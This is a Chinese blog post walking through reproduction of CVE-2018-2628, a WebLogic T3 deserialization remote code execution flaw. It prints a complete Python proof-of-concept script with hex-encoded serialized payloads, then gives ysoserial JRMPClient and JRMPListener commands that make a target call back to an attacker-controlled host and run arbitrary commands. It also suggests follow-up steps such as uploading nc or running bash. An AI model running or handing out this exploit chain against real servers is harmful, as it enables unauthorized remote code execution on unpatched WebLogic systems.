CVE-2018-2628 weblogic漏洞验证

发布于 2018-04-18  3.33k 次阅读


今早一上班,朋友圈就刷爆了这个漏洞,但是目前只有POC验证脚本放出,后续有exp放出时,老冷会继续更新这篇博文。

0x01 综述

当地时间4月17日,北京时间4月18日凌晨,Oracle官方发布了4月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628),这个漏洞是在去年11月份报给Oracle的,通过该漏洞,攻击者可以在未授权的情况下远程执行任意代码。

参考链接:

http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html

漏洞影响范围

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3

 

0x02 复现

目前流传比较广的是https://github.com/jas502n/CVE-2018-2628/blob/master/weblogic_poc.client1.for.scan-cve-2018-2628.py这个验证脚本,我们来开一个weblogic玩玩~

OK打开正常,这里的版本是12c

 

有大佬修改的复现POC如下:

#!env python
#coding=utf-8
#
# Author: liaoxinxi@nsfocus.com
#
# Created Time: Wed 19 Jul 2017 01:47:53 AM CST
#
# FileName: weblogic_poc.py
#
# Description:
#
# ChangeLog:
# -*- coding: utf-8 -*-
import socket
import time
import re
import sys
import json

socket.setdefaulttimeout(5)

VUL=['CVE-2018-2628']
PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
VER_SIG=['\\$Proxy[0-9]+']

def t3handshake(sock,server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
#print 'handshake successful'

def buildT3RequestObject(sock,port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
#print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))

def sendEvilObjData(sock,data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
count = 1024
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
count -= 1
if count <= 0:
break
except Exception as e:
pass
return res

def checkVul(res,server_addr,index):
p=re.findall(VER_SIG[index], res, re.S)
if len(p)>0:
#print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
return True
return False

def do_run(dip,dport,index):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
sock.settimeout(25)
server_addr = (dip, dport)
t3handshake(sock, server_addr)
buildT3RequestObject(sock, dport)
rs=sendEvilObjData(sock, PAYLOAD[index])
#print 'rs',rs
return checkVul(rs, server_addr, index)

def run(url, port):
try:
res = do_run(url, port, 0)
if res:
out = {
'结果': '存在WebLogic CVE-2018-2628 反序列化RCE漏洞',
'url': '%s:%s' % (url, port),
}
return json.dumps(out, encoding='utf8', ensure_ascii = False)
return False
except Exception ,e:
print "[!] ", e
return False

if __name__=="__main__":
dip = sys.argv[1]
dport = 7001
print run(dip,dport)

检测如下

 

 

 

但是这里只是验证存在漏洞,老冷会持续关注,待能执行命令的exp放出来之后我会接着更新。

//2018.04.18

//有小伙伴说代码用不了,我是懒得排版了,这里源文件我传了网盘,大家自行下载哦,链接:https://pan.baidu.com/s/1XjI2OLgALWNpzTKBRlBQ_g 密码:0gyf

//2018.6.28(不是有小伙伴:小龙1028   问我这个文章,我完全忘了文章这回事了,emmmmm~~~~之前有小伙伴说Oracle那个坑爹站下载很麻烦,这里我下载好了链接:https://pan.baidu.com/s/1CkACuQ_oUPZp1UA-XiXNUA 密码:ehg9    小伙伴们自取啊)

之前只是用脚本验证,并没有搞懂这个漏洞到底是怎么算得上执行命令漏洞的,现在我们来深入一下。首先要了解Java的rmi知识

RMI:远程方法调用(Remote Method Invocation)。能够让在某个java虚拟机上的对象像调用本地对象一样调用另一个java 虚拟机中的对象上的方法。

简单来说就是在别的远程机上创建一个等待调用的Java方法,然后用py脚本触发靶机去调用它,漏洞实现。

接下来开始操作,我们要对py进行修改,首先生成自己的payload,这里要用到一个工具:ysoserial。下载地址如下:

链接:https://pan.baidu.com/s/1ytwktnslv8DnuN2_kuGmdQ 密码:zjs5

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient 操作机ip:监听端口 | xxd > 1.txt

比如这里,我的kali用来做那台至关重要的rmi服务器,那么我的kali就是操作机,ip a查看一下自己的IP

所以命令应该这么写:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CRMPClient 192.168.214.129:2333 | xxd > 1.txt

会把我们需要的payload保存到当前目录下的1.txt当中

我们需要的是红框当中的代码,抠出来保存在来放入之前的weblogic.py中。替换掉原本的payload,这是之前许多人复现不成功的关键。

 

接下来就是见证奇迹的时刻了,kali内使用命令:java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "calc"

这里开始监听2333端口

 

回到我们的windows,执行修改过的weblogic.py

再看kali里,监听也收到。

且看靶机

由于我们写的是“calc”,所以这里弹出计算器,即可证明,此漏洞的确可以执行任意命令,根据具体实际场景,比如能上传nc?能bash?执行自己想要的命令?都可以,就看诸位的奇思妙想啦~~~

 

披露时间线:

2017/7/19:发现问题

2017/11/23:报告给Oracle官方

2017/11/29:Oracle官方接收

2017/11/30:Oracle官方分配bug号(S0947640),正式进入主线版本修复

2017/11/30:索要公司域名邮箱

2018/4/14:分配CVE,CVE-2018-2628

2018/4/17:发布补丁

 


这是个互联网极端发达的时代,但却无人能够同步感知你的痛苦。